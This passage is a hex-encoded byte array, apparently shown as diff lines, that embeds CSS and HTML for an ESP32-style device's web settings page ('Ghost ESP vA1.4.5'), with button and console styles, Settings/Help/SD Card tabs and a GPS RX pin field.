0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x32, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x66, 0x61, 0x6D, 0x69, - 0x6C, 0x79, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x6D, 0x6F, 0x6E, 0x6F, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, - 0x77, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x35, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x61, 0x6C, - 0x6C, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x20, 0x65, 0x61, 0x73, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x78, 0x2D, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, 0x3A, 0x20, 0x30, 0x20, - 0x32, 0x70, 0x78, 0x20, 0x34, 0x70, 0x78, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x32, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x2F, 0x2A, 0x20, 0x43, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, - 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, - 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, 0x35, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x78, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x32, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x75, 0x74, - 0x74, 0x6F, 0x6E, 0x3A, 0x68, 0x6F, 0x76, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, 0x20, 0x76, 0x61, 0x72, - 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, - 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x78, - 0x2D, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, 0x3A, 0x20, 0x30, 0x20, 0x34, 0x70, 0x78, 0x20, 0x38, 0x70, 0x78, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x33, 0x29, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x59, 0x28, 0x2D, 0x31, 0x70, 0x78, 0x29, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x53, 0x6D, 0x61, 0x6C, 0x6C, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x76, - 0x61, 0x72, 0x69, 0x61, 0x6E, 0x74, 0x20, 0x2D, 0x20, 0x6F, 0x76, 0x65, 0x72, 0x72, 0x69, 0x64, 0x65, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x69, 0x6E, 0x6C, 0x69, 0x6E, 0x65, 0x20, 0x62, - 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x2E, 0x73, 0x6D, 0x61, 0x6C, 0x6C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, - 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x30, 0x2E, 0x39, 0x65, 0x6D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x77, 0x69, 0x64, - 0x74, 0x68, 0x3A, 0x20, 0x31, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x69, 0x6E, 0x6C, 0x69, 0x6E, 0x65, 0x2D, 0x62, 0x6C, - 0x6F, 0x63, 0x6B, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, - 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x46, 0x6F, 0x72, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, - 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x65, 0x72, 0x73, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x6E, 0x65, 0x65, 0x64, 0x20, 0x69, 0x6E, 0x6C, 0x69, 0x6E, 0x65, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x73, 0x20, 0x2A, 0x2F, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x61, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, - 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x69, 0x6E, 0x6C, 0x69, 0x6E, 0x65, 0x2D, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x61, - 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x20, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x54, 0x61, 0x62, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x73, 0x20, 0x73, 0x68, 0x6F, 0x75, 0x6C, 0x64, 0x20, 0x62, 0x65, 0x20, 0x69, 0x6E, 0x6C, 0x69, 0x6E, 0x65, 0x20, 0x61, 0x6E, 0x64, - 0x20, 0x65, 0x71, 0x75, 0x61, 0x6C, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x69, 0x6E, 0x6C, 0x69, 0x6E, 0x65, 0x2D, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x77, 0x69, - 0x64, 0x74, 0x68, 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x20, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x43, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2F, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x20, 0x53, - 0x74, 0x79, 0x6C, 0x65, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x23, 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x63, 0x6F, - 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, - 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, - 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, - 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x33, 0x30, 0x30, 0x70, 0x78, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x76, 0x65, 0x72, 0x66, 0x6C, 0x6F, 0x77, 0x2D, 0x79, 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x66, 0x61, 0x6D, 0x69, 0x6C, 0x79, 0x3A, 0x20, 0x27, 0x43, 0x6F, 0x75, 0x72, 0x69, 0x65, 0x72, 0x20, 0x4E, 0x65, 0x77, 0x27, 0x2C, 0x20, 0x43, 0x6F, 0x75, 0x72, 0x69, 0x65, 0x72, - 0x2C, 0x20, 0x6D, 0x6F, 0x6E, 0x6F, 0x73, 0x70, 0x61, 0x63, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x68, 0x69, 0x74, 0x65, 0x2D, 0x73, 0x70, 0x61, 0x63, 0x65, 0x3A, 0x20, 0x70, - 0x72, 0x65, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x38, 0x70, 0x78, - 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, - 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x74, 0x79, 0x6C, 0x65, 0x3E, 0x0D, 0x0A, 0x3C, 0x2F, 0x68, 0x65, 0x61, 0x64, - 0x3E, 0x0D, 0x0A, 0x3C, 0x62, 0x6F, 0x64, 0x79, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x63, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x65, 0x72, 0x22, 0x3E, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x68, 0x31, 0x3E, 0x47, 0x68, 0x6F, 0x73, 0x74, 0x20, 0x45, 0x53, 0x50, 0x20, 0x76, 0x41, 0x31, 0x2E, 0x34, 0x2E, 0x35, 0x3C, 0x2F, 0x68, 0x31, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x54, 0x61, 0x62, 0x20, 0x4E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, - 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x61, 0x62, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, - 0x73, 0x3D, 0x22, 0x74, 0x61, 0x62, 0x6C, 0x69, 0x6E, 0x6B, 0x73, 0x20, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x20, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x3D, 0x22, 0x6F, 0x70, 0x65, 0x6E, 0x54, 0x61, 0x62, 0x28, 0x65, 0x76, 0x65, - 0x6E, 0x74, 0x2C, 0x20, 0x27, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x27, 0x29, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x54, 0x61, 0x62, 0x22, 0x3E, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, - 0x73, 0x3C, 0x2F, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, - 0x61, 0x62, 0x6C, 0x69, 0x6E, 0x6B, 0x73, 0x22, 0x20, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x3D, 0x22, 0x6F, 0x70, 0x65, 0x6E, 0x54, 0x61, 0x62, 0x28, 0x65, 0x76, 0x65, 0x6E, 0x74, 0x2C, 0x20, 0x27, 0x48, 0x65, 0x6C, 0x70, 0x27, 0x29, - 0x22, 0x3E, 0x48, 0x65, 0x6C, 0x70, 0x3C, 0x2F, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x63, 0x6C, 0x61, - 0x73, 0x73, 0x3D, 0x22, 0x74, 0x61, 0x62, 0x6C, 0x69, 0x6E, 0x6B, 0x73, 0x22, 0x20, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x3D, 0x22, 0x6F, 0x70, 0x65, 0x6E, 0x54, 0x61, 0x62, 0x28, 0x65, 0x76, 0x65, 0x6E, 0x74, 0x2C, 0x20, 0x27, 0x53, - 0x44, 0x43, 0x61, 0x72, 0x64, 0x27, 0x29, 0x22, 0x3E, 0x53, 0x44, 0x20, 0x43, 0x61, 0x72, 0x64, 0x3C, 0x2F, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, - 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x20, 0x54, 0x61, 0x62, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x2D, 0x2D, 0x3E, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x22, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x61, 0x62, 0x63, - 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x73, 0x68, 0x6F, 0x77, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, - 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x67, 0x72, 0x69, 0x64, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x57, 0x69, 0x46, - 0x69, 0x2F, 0x42, 0x4C, 0x45, 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, - 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x6D, 0x69, 0x73, 0x63, 0x65, 0x6C, 0x6C, 0x61, 0x6E, 0x65, 0x6F, - 0x75, 0x73, 0x5F, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x68, 0x32, 0x3E, 0x4D, 0x69, - 0x73, 0x63, 0x65, 0x6C, 0x6C, 0x61, 0x6E, 0x65, 0x6F, 0x75, 0x73, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x67, 0x70, 0x73, 0x5F, 0x72, 0x78, 0x5F, 0x70, - 0x69, 0x6E, 0x22, 0x3E, 0x47, 0x50, 0x53, 0x20, 0x52, 0x58, 0x20, 0x50, 0x69, 0x6E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 